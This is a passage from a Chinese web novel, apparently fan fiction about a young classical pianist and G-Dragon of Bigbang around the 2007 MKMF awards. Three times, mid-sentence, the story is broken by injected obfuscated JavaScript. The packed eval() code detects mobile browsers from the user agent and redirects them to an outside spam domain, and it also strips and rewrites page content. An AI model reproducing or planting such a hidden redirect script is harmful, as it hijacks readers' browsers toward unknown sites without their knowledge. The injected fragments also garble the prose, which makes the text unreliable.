它自信、冷静,平衡而又自洽,它拒绝用煽情来轻易换取听众的感动,甚至带着不容置疑的坚持。 一如眼前这个坚持自我的女孩。 真是仿佛人生从未遭受过苦难的纯粹音色啊……想到李艺率的遭遇,莎曼萨的心里不由泛起难言的复杂。 * 直到关闭录音笔的时候她仍颇有些感慨。 “对了,还没恭喜你在本次范赛上获得这样的好成绩,”莎曼萨笑着看向李艺率仍有些天真的侧脸,笑着道:“决赛当天我也在现场听了你的演奏,真是难以置信的好音色。” 闻言,李艺率先是一怔,又忍不住露出些勉强控制得意和开心的笑弧,过了一会才看上去有些别扭地答到: “也恭喜你晋升了,现在是资深专栏编辑了呢。” 莎曼萨的眼神和笑意更柔和了:“是啊,我努力了很久才走到这一步呢。” 说着,她看向李艺率那双一尘不染的澄澈眼睛,沉默了片刻道: “几年前那次报道……我很抱歉,在海因茨先生的葬礼上对你做出了失礼的举动……” “这是你的工作。” 李艺率闻言先是摇了摇头,紧接着又皱皱鼻子嫌恶道,“虽然我现在还有在为当时生气。” 说着,她直视莎曼萨的眼睛,神色平静语气坦然: “你不用对我道歉,也不需要说什么庆幸我重新站起来走出阴霾这样的客套话……我本来就没有想过要反抗谁的质疑才拼命走到这里,” 说到这里,她的唇角勾起一个娇俏的弧度,眼角眉梢满是明媚的张扬和笃信: “我是为了我自己。” 莎曼萨微微一怔,随即轻轻笑了,眼底多了些难以言喻的激赏。 她看着眼前这个被光线吻上侧脸,被托举得格外意气风发的女孩,忽然生出了她们即使年龄相差了十几岁,但在未来依然能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16291639|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好好相处的预感。于是她主动问道: “我们能交换联系方式吗?我听说波交的指挥霍斯先生已经定下了明年和你的演出排期,我希望能提前和你约一版独家专访。” 二人交换了联系方式,临分别前,莎曼萨还悠悠发出感慨:“我想我们大概能成为好朋友。” “很抱歉,我已经有很好的朋友啦。”李艺率眨眨眼睛,笑意不减,继而又忍不住有些开心的模样道: “不过能被一个优秀的职业女性认可真是一件让人开心的事。” “你可以把我当成朋友哦。” 她笑眯眯地这样说道。 * 07年8月,组合Bigbang的第一张迷你专《Always》发布,其中主打曲谎言一经面世便大受欢迎,权至龙也至此终于在打歌节目中收获了出道后的首个一位。 某人专属的手机铃声响起。 权至龙此时刚好结束睡眠,正趴在床上醒神。听到熟悉的旋律,他扬扬眉毛看向来电显示,嘴角不自觉地勾起。 他按下接听键,将手机贴到耳边,拖长声音带着刚睡醒的些许慵懒对着听筒那头应道:“内~” 然而电话那头是个性格实在恶劣的坏家伙。 “哟波赛哟~” 装模做样的接线声传来,紧接着又是一串烫嘴的歌词:“yeah~I hate this lovesong~扣寄mua!” 权至龙躺在床上忍不住脚趾蜷缩:“…………” 这家伙感觉到无聊又开始玩弄他了是吧?! 他无奈地扯了扯嘴角,声音却藏不住笑意:“我现在准备挂断电话还来得及吗?” “现在挂断还有什么意义?我这不是都已经取笑完了嘛!” 那头的声音格外嚣张得意。 “…………” 他轻轻叹了口气,语气中却依旧带着笑意:“真是个坏家伙。” 权至龙获得人生中的第一个一位时激动地打了好久的越洋通话,第一时间与李艺率分享了感慨和喜悦。 实际上,谎言这首歌因为有着某种特殊的意义,因此在最初的时候,权至龙是打算拿来做自己的solo曲的……然而,大概是之前广告拍摄时与李叡承的会面让梁锡硕产生了某种狭窄的心理,因此在他多次据理力争无果后,无奈地将原本定好的计划就此作罢。 ……那位哥绝对是在蓄意报复。 权至龙不免阴暗又委屈地这样揣测梁锡硕。 不过他倒也没有将这件事对李艺率抱怨。 毕竟在权至龙看来,李叡承当时在那样的场合下特地和他打招呼,显然是存了些提携他的心思在里面。 这要是再对李艺率抱怨起来未免也太不知好歹了。 只能将问题归结于梁锡硕实在太过小气。 虽然在公司利益方面的确是被李艺率占了点小小的便宜,但退一万步来说,当时雪中送炭帮公司解决危机的人不也是他的艺率吗? 她都这么帮忙了,吃点亏又怎么了? 看着那样可爱的脸蛋难道还能忍心责怪吗?! 不过好在这首歌最后获得了超出预期的反响。 虽说将自己的东西拿出来很让人不好受,但他也的确是首要的受益人,因此在获得了一片叫好的成绩以后倒也在心里稍微有些释怀了。 他得再拼命往上爬才行啊。 要再努力一点,爬得再高一点,才能伸手去够那朵属于他的玫瑰。 想到几年前在学校时,李艺率淡笑着看向他,对他说出‘把我当成锚点努力往上爬’时,那样庄重又温柔的神情,权至龙只觉得整个人像是被浸泡在温泉里,四肢柔软得不成形。 可惜他的玫瑰丝毫不懂眼色,总是会在他感慨的时候发出煞风景的声音—— 电话那头埋怨的声音再次响起。 “小权你这家伙,怎么又擅自陷入爱情又马上失恋啊?这次的对象是谁?为什么没有告诉我!” 语气甚至颇有些愤愤不平。 权至龙:“………………” 我恨你是块木头! 42.做得好呀小权 首尔蚕室室内体育馆,空气里弥漫着几乎凝成实质的期待和焦灼。炫目的灯光在场馆内扫射,将台下每个人的脸庞映照得忽明忽暗。 权至龙和队友五人坐在靠前区域的位置。 他看似平静,但交握放在膝上的手悄悄地抠弄着指甲,下意识地用牙齿研磨嘴角脸侧的软肉。 自己现在的表情管理看上去一定很紧绷。 他这样想着,只觉得心跳声在这样嘈杂的环境中依然清晰可辨,咚咚地敲打着他的胸腔。 舞台上,颁奖嘉宾微笑着寒暄,故意拉长的语调折磨着所有人的神经,每一个音节都像被无限放大—— “……2007年MKMF男子组合奖……” 时间仿佛被冻结一瞬,又在下一刻冰雪消融。 熟悉的名字通过麦克风清晰地响彻了整个场馆: “Bigbang!恭喜!” “嗡”的一声,似有电流在顷刻间击中了权至龙,让他头皮发麻。 耳边爆发的惊呼和身边队友瞬间站起的动静变得有些遥远和不真实。 Bigbang? ……我们? 他几乎是本能地被身边的成员拉起来,身体先于意识做出了反应,匆忙地对着周围的前辈和同行们鞠躬,自发地迈开脚步走向舞台。 陌生的冲击让他下意识地有些恍惚。 酸涩的感觉迅速涌上眼眶,视野都开始变得有些模糊。 十几年前稚嫩矮小的自己、被前辈们指使跑腿时谦卑的弯腰、被冷待时的灰心、练习室的汗水、不眠不休的创作……无数画面走马灯一样争先恐后地涌入脑海,最后又定格在那个如同巨幅油画般绚烂的黄昏—— 夕阳将李艺率身后的背景染成琥珀色。 她的指尖停留在他胸前那对斑斓色的薄翼上,淡笑着对他说到,飞吧,G-dragon。 他下意识抚向胸口那枚在灯光下折射出冷彻色彩的胸针,仿佛这样就能遏制住在胸腔里不停扑腾翅膀撞击他心跳的那只蝴蝶。 一道带着炽热温度的追光跟了上来。 他看着台下的星海翻涌,看见巨大的摄像头毫不客气地对准他们,几乎是下意识地将眼角的那抹湿润逼退。 要做好表情管理才行啊。 他这样想着,又从嘉宾手上接过奖杯,谦逊地说出在出发前早已准备好的,甚至一度忐忑能不能派上用场的发言。 这一年的MKMF年末颁奖,拿到年歌和最佳男子组合的Bigbang无疑是最大的赢家。 镁光灯下的荣耀仿佛化作实质,沉甸甸地压在掌心。 权至龙捧着奖杯,听着永裴难掩情绪激动,声音哽咽地说着些感想。 在永裴断断续续的声音里,他竟不合时宜地一阵神游天外。 余光扫过低着头的队友们时,发现他们也在激动地掩饰自己的情绪和眼泪。 直到此刻他才终于有了一夜成名的实质感,可除了喜悦以外,心里却还有一块巨大的空茫。 甚至灵魂也跟随着掌声和欢呼轻飘飘地晃在了场馆上方。 真奇怪。 当时李艺率站在舞台上领奖的时候究竟在想些什么呢? 要是她现在也可以在这里就好了。 * 作为被某位权姓小伙挂念的主角,李艺率此时正坐在蚕室体育馆的后台招待室里观看现场直播。 CJ是MKMF的主办方和主要赞助商。 而这家在文化传媒和食品零售行业深耕的集团,是在上世纪九十年代从银河分割独立出来的分公司。按照亲缘关系,李艺率得喊如今CJ的掌门人一声大伯伯。 但上一辈之间的关系无论如何微妙都影响不到李艺率。 她在得知权至龙今年被提名以后就提前打电话给负责娱乐部门的堂姑,要到了主办方的联系方式,早早揭开了今晚的悬念—— 别误会,她只是比较好奇结果而已,压根没有想要干预的想法。 甚至这几天不仅要瞒着权至龙努力不说漏嘴,连带着偷偷提前跑回国这件事也让李艺率着实很苦恼呢! 虽然她真的不是像小权那样的大嘴巴,但是碰上这种好消息实在是很难有办法憋住哇! 不过话说回来,小权这家伙虽然看上去其貌不扬的,但是的确很有创作天赋啊……而且舞台表现力也很棒,下半年他的成绩那么好,没拿到奖才比较奇怪吧! 等等,和这家伙认识久了,所以李艺率印象里的权至龙还是他上学时那副不起眼的模样。 但是现在在屏幕前仔细一看,记忆里瘦瘦小小总是一副好脾气受气包模样的男孩好像在她没察觉的时候已经蜕变出了一副新的皮囊。 肢体已经在她不知不觉中完全舒展开了,变成挺拔修长的清俊,五官骨相也愈发立体,轮廓分明。 搭配上笑眯眯看上去格外羞涩的乖巧表情……糟糕,这家伙搞不好超受女生欢迎啊! 李艺率看着直播画面里拿着奖杯说着获奖感言,已经初具大明星气质的权至龙,心里忍不住泛起一些格外复杂的、细品之下好像还有点酸溜溜的微妙情绪。 ……坏了,她还从来没想过万一哪天小权交了女朋友她该怎么办。 仔细想来,如果她未来交往的另一半有一个关系要好无话不谈的异性好友,她肯定也会很在意才对。 如果真的到了那么一天的话……她一定会主动拉开两人之间的距离吧。 这样的假设让人格外不安。 甚至光幻想出那样的画面就让她心里一阵阵发堵,莫名焦躁。 真叫人生气! 明明只是区区小权,凭什么要比她更讨人喜欢啊?! * 金色的纸屑零星从空中缓缓飘零,盛大的沸腾和喧嚣落下帷幕。 艺人们互相道贺、寒暄,然后在工作人员的引导下,和经纪人一起顺着后台艺人专属通道陆续离场。 作为今晚最大的赢家之一,他们是与主办方和嘉宾们寒暄到了结尾,最后一批离开的艺人。 权至龙此时仍沉浸在一种兴奋与恍惚交织的情绪里。 他将头埋在手机屏幕前,飞快地在键盘上敲打,几乎是刚脱离镜头,就迫不及待地想要将此刻翻涌的心潮分享给李艺率。 [艺率呀,我们做到啦!] [最佳男子组合和年歌都是我们…] [我到现在手都还在抖kkkk] [说实话 在舞台上领奖说获奖感言的时候眼泪差点都要掉下来TT] 走在靠前位置永裴忽然停下脚步,迎着队友和经纪人疑惑的目光,被紧跟在后面低头摆弄手机的权至龙狠狠撞上后背。 权至龙:“?” 他吃痛地抬起头,丢了个不解的眼神,紧接着就顺着永裴的目光往前看过去—— 细微交谈声混杂着的背景音如潮水褪去。 视野中央,通道略显昏暗的尽头,一个格外纤瘦姣好的身影清晰地映入眼帘。 李艺率就站在他视线的尽头,被柔和的光晕勾勒出毛茸茸的轮廓。 她的脸上还漾着熟悉而明亮的笑意,眼睛弯成了好看的月牙,一眨不眨地看着他。 “Surprise~” 她的声音不大,甚至带上了十足的狡黠,却准确无误地砸中了权至龙的心脏。 他的大脑在这一刻彻底空白成一片。 什么意气风发,什么获奖心得,什么艺人行为管理,什么同行前后辈们若有若无打探的目光……几乎在这一刻全部蒸发殆尽。 瞳孔在骤然之间缩小到只容得下眼前这个纤细的身影。 身体也先于思考做出了反应—— 几步的距离在跑动间迅速缩短。 李艺率还在笑嘻嘻地冲他打招呼,那句小权刚跑到嘴边,就被权至龙伸出双臂,结结实实、毫无保留地打断了。 伴随着他的动作和她小声的惊呼,周围传来几声压抑的抽气声和自以为隐蔽的感叹。 但他管不了那么多了。 权至龙已经完全顾不上了。 他感受着怀里真实存在的温度和触感,嗅着她颈侧玫瑰混合着木调香气的清冷味道,心脏砰砰撞向胸腔,又在温度传递间,一点一点安定下来。 他的灵魂也终于在此刻找到了落地的锚点。 * 李艺率在后台通道最先看到的人其实并不是权至龙——毕竟东永裴大晚上在室内戴不透光墨镜的行为实在是太引人注目了。 除了东永裴以外,其他的队友李艺率只在那次去YG时短暂打过一次照面,印象嘛……看起来反正都是男的。 《谎言》这首歌的MV在剪辑完成后权至龙也发给她看过。 唯一的观后感大概就是小混混和他的四个超雄跟班尾随都市靓女。 虽说最后的结局是小混混帮美女顶罪实现剧情反转……但说真的,这种莫名其妙自我感动的戏码未免也太符合权至龙的性格了吧! 李艺率对此甚至严重怀疑,MV脚本搞不好就是权至龙本人参与创作构思的。 不过虽然她一直在悄悄吐槽,但并没有妨碍李艺率本人对这首歌的高度认可。 至于看着眼前打扮得人模人样的五人组,让她免不了在心里幻视出五个超雄小混混的模样……这一点就属于些微不足道的后遗症了。 就像此刻。 戴着墨镜遮住自己小眼睛的小混混一号在看到她的第一时间停下脚步(很难不让人怀疑为什么他带着墨镜还能第一时间注意到她),在身边其他小混混们迟疑的目光下,任由一直埋头看手机的权至龙直直撞上他的后背。 趁着权至龙茫然抬头的间隙里,李艺率终于不再是隔着冰冷的屏幕直播近距离地打量他。 他今天打扮得真是有够隆重的。 西装搭配翻毛外套,头发打理得平整又乖巧。 四目相对的瞬间,李艺率看见那双抬头望向她时眼睛里忽然迸射出一种惊喜混杂着兴奋的,看上去格外湿漉漉的眼神。 她那声带着笑意的招呼还没完全出口,权至龙就动了。 他随手将手机塞进口袋,甚至完全不顾及周围的有那么多双悄悄注视的眼睛,将她牢牢锁定住,三两步就直直地,几乎是有些急切地朝着她的方向冲了过来! 那件翻毛外套随着他跑动的动作摇晃,让他整个人起来像一直毛茸茸的,笨拙的,失控却又目标鲜明的小动物。 简直就像一只兴奋到了极致,撒着欢扑向主人的大型犬嘛!还是修剪出漂亮发型,穿了昂贵小衣服的那种。 这个荒谬的念头让她差点笑出声。 但下一秒,所有笑意都被结结实实撞回了胸腔—— 他几乎是砸进了她的怀里。 权至龙双臂收得极紧,力道又大得惊人,甚至带着些近乎贪婪的占有欲,以一种不容置疑的姿态将她整个人都严丝合缝地嵌进自己的身体。 真疼啊。 这是李艺率的第一反应。 她被他紧紧地搂在怀里,几乎是下意识地放缓了呼吸,努力克制着不让身体产生本能的颤抖和抗拒,咬紧了牙齿不让痛呼从嘴边跑出来。 这样的拥抱来得实在太突然,也实在太用力。 可看着他兴奋至极的模样,李艺率又失声一般实在说不出半句苛责的话。 她只好小声的倒吸着冷气,视线在周围若有若无的偷瞄中扫过一圈,接到周围人心照不宣的躲避以后,才伸手他的颈后轻轻拍了拍。 “小权,做得好啊!恭喜你!” 过了大约十几秒,她才这样开口道,声音是一如既往明媚轻盈的语调,仿佛刚刚在撞上的一瞬间咬着牙表情扭曲的那个人并不是自己。 “嗯。” 他应了一声,声音低低的,带着些模糊的鼻音,又像是撒娇似的将脑袋黏在她的颈侧。 李艺率感觉到他埋在她颈窝处,轻嗅着她的体温,又将更加温热的吐息传递回她的身体。 而她的肋骨也仿佛在这一刻成为了接纳他的容器。 于是李艺率再也说不出任何抱怨了。 ** 整个暑假都在美国忙着唱片的录制,仔细算算,李艺率已经差不多有一年半左右的时间没有回国。 与阔别许久的门卫和司机大叔打过招呼,又在姨母们嘘寒问暖的包围中过了几天幸福的时间后,终于来到了权至龙约好上门拜访的日子。 刚成年的权至龙在第一时间拿到了驾照,加之下半年的版权收入不菲,他给自己买了一部代步车。 谢天谢地,以后去找李艺率终于不用麻烦她家司机特意上门接送了! 未来的版权富人此刻显然还未正式脱离灰姑娘剧本,因此这一点微不足道的进步都让他格外兴奋。 男人,果然还是需要金钱带来的安全感来支撑自己的底气啊!丝毫没意识到自己的想法倒置错位得离谱的权至龙如是想到。 将车钥匙交给门卫大叔拜托他帮忙停好车,权至龙走过熟悉的花园回廊。 “至龙xi,好久不见了。” “好久不见了姨母。” 仍然是熟悉的白姨母给他开的门。 她侧身将权至龙迎了进去,又笑眯眯地看着他坐在玄关换好鞋子,“这次寒假难得艺率回家,你可要多过来做客啊,我们都很想你呢。” “内。” 他换好室内拖鞋,乖巧地应了一声,又悄悄打量一眼客厅,略带拘谨地问道: “只有艺率一个人在家吗?” 他问得没头没尾,甚至还带着莫名的心虚,可白姨母却像是读懂了他的全部心思般,笑得更加意味深长了:“最近年底,叡承这两天都在公司加班忙着核算。副会长也要等半个来月才会回国。” 权至龙:“…………” 他甚至都没主动提及,就仿佛被一眼望穿,因此当下只觉得窘迫。 但白姨母始终是神色平和又亲切的模样,她帮忙按下电梯,目送他走进轿厢: “艺率在影音室等你,去玩吧。一会我给你们送些点心过去。” * 这间斥重金和人力打造的影音室成了权至龙上门做客时消磨时间最多的场所。 房间内昏暗的灯光渲染出一种静谧氛围。 李艺率此刻正蜷缩在沙发上,长发随意垂落披散。她手里捧着一本漫画消磨时间,指尖顺着丝绸般流淌的弦音轻轻打着节拍。 听到门被推开的动静,她下意识抬起头,嘴角那抹熟悉的弧度明明已经早早勾起,可还是要拖长声音发出娇气的抱怨: “小权,你也太慢了!” 真是再没有比这一刻更美好的事情了。 权至龙看着她这样一副全然信任依赖的模样,仿佛整个人都被某种柔软包裹了起来。 他脱下外套搭在影音室入口的衣架上,又随手抽了两张湿巾擦去开车一个来小时的风尘仆仆,这才走到沙发旁紧挨着她坐下—— 浅浅嗅着她发丝的馥郁,甚至近到要紧紧贴着她,直到感受到她的体温才觉得满意。 李艺率:“?” 大约是只有两人的密闭空间让他感到格外安心,权至龙对上李艺率迎面飘来略带疑惑的眼神,挑挑眉学着她的样子发出黏黏糊糊又理直气壮的声音: “分我坐一下怎么了?我这一路开车过来很累的!” 李艺率:“…………” 话虽如此,但你这家伙未免靠得有点太近了吧! * 年中时李艺率灌录的那张唱片在业界颇受些赞誉。 古典乐唱片行业的评鉴并没有像奥斯卡或格莱美那样的现场颁奖典礼,而是通过权威媒体渠道静态公布,其价值在于业界和乐迷的公认,从形式上来说要传统且低调得多。 如今世界上的三大权威古典音乐评鉴媒体分别是《留声机》、《企鹅唱片指南》以及《金音叉》杂志。 这类纸媒成立于上个世纪中叶,至今在行业内仍然保持着极高的影响力。 以《企鹅唱片指南》这样一本纯粹的出版评鉴为例,通过乐评家们聆听唱片后,在书中用文字进行评述,并授予相应的星级(一星至三星)和钥匙符号(后被改为玫瑰),所谓“三星带花”是该评鉴体系中的最高荣誉。 上个月的企鹅年鉴已经正式发布,李艺率录制的那张《莫扎特选集》极为幸运地获得了乐评人的青睐,被授予了古典唱片行业最高规格的殊荣。 加之此前被《金音叉》和《留声机》双双列入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这很贵吧……我之前还在杂志上看到过价格,加起来都要比你上次送我的胸针还贵了!” 李艺率:“……你记错了吧?” 听到他期期艾艾的声音,她挑起眉毛轻笑一声:“当时那两颗帕拉伊巴碧玺拍到手就要五百多万了。不过这也倒也正常,毕竟现在巴西矿产量很少嘛,而且那样纯粹的色调很不多见了……” 她话音未落,就被权至龙打断:“等等……多少?拍卖?!” 他的语调骤然拔高,换来了李艺率不解的眼神: “对啊,干嘛这么激动?帕拉伊巴碧玺和欧泊又不是什么常见的宝石材料,当然要上拍卖会才有好品质啊。” 权至龙:“…………” 过了很久,室内才响起了他似细若游丝,仿佛仍然不可置信的声音:“……所以说,当时你说的八百万,不是韩元啊。” 李艺率:“……韩元才值多少钱啊?” 权至龙:“………………” 即使终于从李艺率嘴里得到了肯定的答案,可权至龙此刻脑子里仍然笼罩着不可置信的迷雾。 ……换成美元来计算的话是夺少来着? 他在脑子里默默换算,直到一连串他也数不清的零在他脑海里排列组合,最终汇聚成一个令他倒吸一口凉气的数字。 权至龙:“……那不是就等于一百多亿吗?!” 李艺率却完全没办法理解此刻他震惊到甚至痛心疾首的样子。 “高珠就是这样的啊,越昂贵的材料就越保值。” 权至龙:“…………” 我在跟你谈价格,你却在和我聊保值。 我们说的压根就是两码事啊! 回想起出道初期他戴着这样一枚胸针在舞台上热舞,动作幅度大到甚至要把膝盖都跳坏的架势……他倒吸一口凉气。 可对上李艺率那平静到理所应当的眼神,只化作一声深沉的叹息: “……这、太珍贵了。” “嗯,的确是很珍贵。” 看着他眉眼低垂着,一副欲言又止的模样,李艺率也终于弄清了两人之间的乌龙。她轻笑一声,掌心在他的肩上落下: “可再怎么样都比不上你珍贵啊。” 闻言,权至龙怔怔地看着她,看着她笑靥明媚地凑近他,用肘尖碰了碰他的胳膊,发丝轻柔擦过他的鼻尖,几乎让他脸颊发烫,后背泛上痒意来。 李艺率:“对我来说,再珍贵的物质都远远比不上你这个人来得更重要。作为我的好朋友,你当然配得上这世上最好的东西……” 又来了。 又是这样直白到让人熨帖的话。 权至龙整个人都像是被狠狠灼过一般,四肢却柔软得怎么也生不出防备反抗的心思,只好低垂着眉眼轻轻嗯了一声。 大概是见他终于接受了这样的理由,李艺率心情颇好地拍拍他的肩,笑着说到:“所以该怎么样就怎么样嘛,装饰品这种东西本来就是拿来戴的。我之前看过你发来的舞台视频,它真的很适合你呢!” 权至龙:“…………” 不,一旦接受了它的价值以后他真的很难再以平常心去对待了。 回去以后必须把它锁在密码箱里,只有那种非常特殊的场合才可以拿出来! * 这件事的后续是权至龙提及了一个至关重要的话题。 权至龙:“你……送我这样贵重的礼物,你家里知道吗?” “知道啊,”李艺率不假思索地答道,又详细对他解释了苏富比的拍卖流程和委托定制的全过程,“当时定的时候我还没成年,所以都是让哥哥的助理帮我去办理的。” 权至龙:“…………” 权至龙:“那你家里人不会有意见吗?” 李艺率:“可这花的都是我自己的零花钱啊,为什么要有什么意见?” 说着,她似乎想到了什么,歪着头笑眯眯地看向他说到:“我哥哥虽然很高兴我交到了好朋友,不过当时看上去好像有点吃醋呢。” 事后她乖乖听话了很久才让李叡承看上去终于不再那么阴阳怪气的样子。 权至龙:“………………” 所以说上次见面时,李叡承看向他那副皮笑肉不笑的模样并不是他的错觉啊!! * 几天后,权至龙拎着一个大大的帆布袋推开了公司的大门。 “永裴啊,送你个好东西。” “嘿嘿,对的,这是我家艺率的第一张唱片……对了,你看看这里,有古典乐最权威的三重认证。” “你不知道吧?这是企鹅三星带花,留声机年度大奖和金音叉年度大奖呢!打个通俗一点的比方就相当于一次性集齐了奥斯卡和三大电影节的大满贯荣誉……” “哎一古,第一张唱片就能得到这样的好成绩,我们艺率真是太优秀了吧!对了,这是有亲笔签名的珍藏版,你要听的话自己再去音像店买一张,就当支持我们艺率了!” 永裴:“…………” 他手里拿着唱片,站在原地一脸无语地看着权至龙乐呵呵拎着帆布袋离去的背影。 “哥,你听古典乐吗?给你。” “大声,看在哥哥平时和你亲近的份上,也送你一张吧!” “忙内啊,你的性格还是太浮躁了,多听一点古典乐吧……但是这张签名版的要好好珍藏不可以拆开。” 队友们:“…………” 不到一个上午的时间,与权至龙关系亲近的练习生和制作人们都纷纷收到了这份珍贵到不允许拆开的“礼物”,甚至被摁着头好好科普了一番什么是古典乐的大满贯,以及他这位大艺术家亲故上一次获得国际赛事双料奖的含金量。 最后一张唱片被递到了梁锡硕的办公室桌头。 看着表面上期期艾艾,实则理直气壮嘴里言之凿凿“这是艺率的第一张唱片,获得了这样的好成绩很有纪念意义”的权至龙。 梁锡硕深吸一口气,青筋不听话地在太阳穴狂舞:“…………” 梁锡硕吐出一口气,看着权至龙脸上仍是丝毫没察觉到空气的关种表情,沉默片刻后最终咬着牙接过这份大礼: “……谢谢,我会好好珍藏的。” 43.小权的修罗场 临近年末,权至龙终于从这大半年的忙碌通告中抽出身,自然是有更多时间消磨在与李艺率的身上。 因此他们两人这段时间的邀约尤其频繁。 毕竟是难得的假期,自然是要和朋友好好出去玩个痛快,李艺率统统欣然同意了。 虽然回国以后这家伙真的很粘人,在忙碌的工作间隙时不时要求见面也就算了,甚至回国了还要从早到晚全天候待机联系……这不对吧! 好朋友之间关系真的可以这么要好吗? 而面对李艺率的困惑,权至龙只是信誓旦旦发出了言之凿凿的声音:当然了!好朋友就是要分享自己的情绪和每天生活中的一切小事,是和血缘一样亲密的关系呢! 嘁,那看来小权这家伙做得也不怎么样嘛。 李艺率在心里发出了十分记仇的轻哧,同时又暗自庆幸还好自己只有一个好朋友,不然这也太麻烦了! 一直到坐上权姓小伙的专车,李艺率心里仍是偷偷这样想到。 临近中午饭点时段,阳光正好,透过车窗洒在身上暖洋洋的。他们约了好友一起吃午饭,目的地是一家商场附近口碑很好的烤肉店。 权至龙熟练地打着方向盘将车停在了附近的停车场,嘴里还在同李艺率念叨着与今天邀约的友人第一次碰面时的经历。 午间的空气带着些微的冷意,两人挨着肩膀朝着烤肉店走去,李艺率微微侧头听着他说话,看上去姿态亲昵。 此时恰巧有一名看上去约莫二十出头,打扮时髦妆容精致的年轻女性迎面朝他们走来。 李艺率的余光瞥过,整个人像是被什么刺到了一样,瞬间停下了脚步。 权至龙:“?” 他转头看向怔在原地的李艺率,疑惑地皱起眉头,“怎么了?” 李艺率:“…………” 是具雅拉。 她怎么会在这里? ……怎么会碰到她。 听到权至龙的声音,她才像是猛然惊醒一般回过神,摇了摇头。 具雅拉显然也看到了他们。 她的眼睛先是落在李艺率身上,又迅速扫了一眼戴着口罩帽子的权至龙,随后露出一个似笑非笑的表情。 擦肩而过的瞬间,具雅拉忽然挑眉淡笑道:“男亲?” 李艺率一愣,下意识地摇了摇头,随即像是反应过来一般看向被她毫不犹豫否认姿态搞得颇有些受伤的权至龙。 李艺率:“…………” 坏了,这下是两头都顾不上了。 然而具雅拉看起来也只是随口一问,甚至并没有多停留的意思。她朝着李艺率露出一个意味深长的眼神,随后丢下一句“我还有事,下次再聊”便摆摆手径直离去。 李艺率并没有回头目送她的背影,只是站在原地,过了很久才找回自己的声音。 她看着眼里写满担忧的权至龙,扯动嘴角露出与往常无异的笑容,冲着权至龙眨眨眼睛道: “干嘛这种表情啊?哦,那是熟人的妹妹,在我很小的时候做过邻居。” 说着,她上前几步,又冲权至龙发出了理直气壮的声音:“快点走吧小权!我都饿了!” 权至龙:“…………” 你这个顶级逃饭也有喊饿的一天吗?编也好歹编个像样点的借口吧! 他挪动脚步,又回头偷偷打量那个已经渐行渐远的背影。 那个人是谁?为什么会让李艺率有这样明显失态的反应? ……真的没事吗? * 大概是因为刚刚那个插曲让权至龙下意识感到些许不安,加之对方意味深长的眼神和李艺率下意识的否认让他很有些受伤。因此在做了无数心理建设后,权至龙忽然抬起了手。 他将手搭在李艺率的肩膀上,神色自然平和,动作轻柔熟稔,几乎是半推着她往商场方向走。 被他突如其来的动作偷袭到的李艺率:“…………” “你手不舒服吗?” 她挑挑眉看向瞥过眼睛故意不和她有眼神接触的权至龙。 “没有啊。” 他别过头梗着脖子道。 李艺率:“……没有不舒服你搭在我肩膀上干嘛?” 权至龙:“那有不舒服就可以搭了吗?” 李艺率:“不可以!我的肩膀又不能治病!” 权至龙:“…………” 可恶! 真是块木头啊! 虽然这么想着,但是权至龙的手仍是没有收回。 他清咳一声,随即振振有词道:“这边商场附近人很多的,你这个娇气的家伙嘴里不是一直喊着被人碰到身体会很痛吗?我这是在时刻预防你会遇到这种事。” 李艺率:“…………” 原来是想要保护她啊,那的确是没办法反驳了。 李艺率瞬间接受了权至龙的理由,她朝权至龙点点头,“好吧,但是你也不可以把手全放上来!” 太重了也会感到痛! 权至龙:“………………” 这家伙是豌豆公主吗??! 还有,居然这么轻易就接受了这个理由吗?!他怎么之前就没想到啊?! 虽然心里这样愤愤地懊恼,但嘴角还是不自觉扯开一个暗喜的窃笑。 权至龙浑然不觉此时他将手半搭在李艺率肩上,虚虚揽着她的别扭姿态搭配上整个人美滋滋到几乎要冒泡的气场看上去实在是有点让人牙痒。 起码李秀赫此时看着他隔着十米远都掩盖不住的关种味,莫名有了磨牙的冲动。 * 说起李秀赫和权至龙的相遇,大概要追溯到权至龙练习生时期的一次画报拍摄。 两人年龄相仿志趣相投,成为朋友是再简单不过的事情。 而对于权至龙嘴里这位“好亲故”的一系列滤镜厚到可以当防弹玻璃的诸多事迹,李秀赫也听过许多次。 从校园时期的“美救英雄”(李秀赫语),到两人失联那段时间权至龙发疯成功进化成阴暗批;从今年年初权至龙为爱飞行一万多公里的偶像剧主角桥段,再到前段时间李艺率的首张唱片获评重量级奖项后权至龙名为感叹实为炫耀的关种行为……这一路走来,李秀赫实在是经历了很多啊! 可鉴于权至龙当下仍是处于暗恋的阴暗批状态,尽管李秀赫未见其人便早已先闻有关她的二三四五事,还是得做出一副初次见面的生疏姿态。 都认识这么久了还被人无知无觉地当作好朋友,任谁看了都是一句男默女泪。 这么想着,李秀赫朝着权至龙的方向飞去一个同情的眼神,毫不意外地换回对方恼羞成怒地瞪视,这才清咳一声道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303100|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “至龙啊,不介绍一下这位吗?” 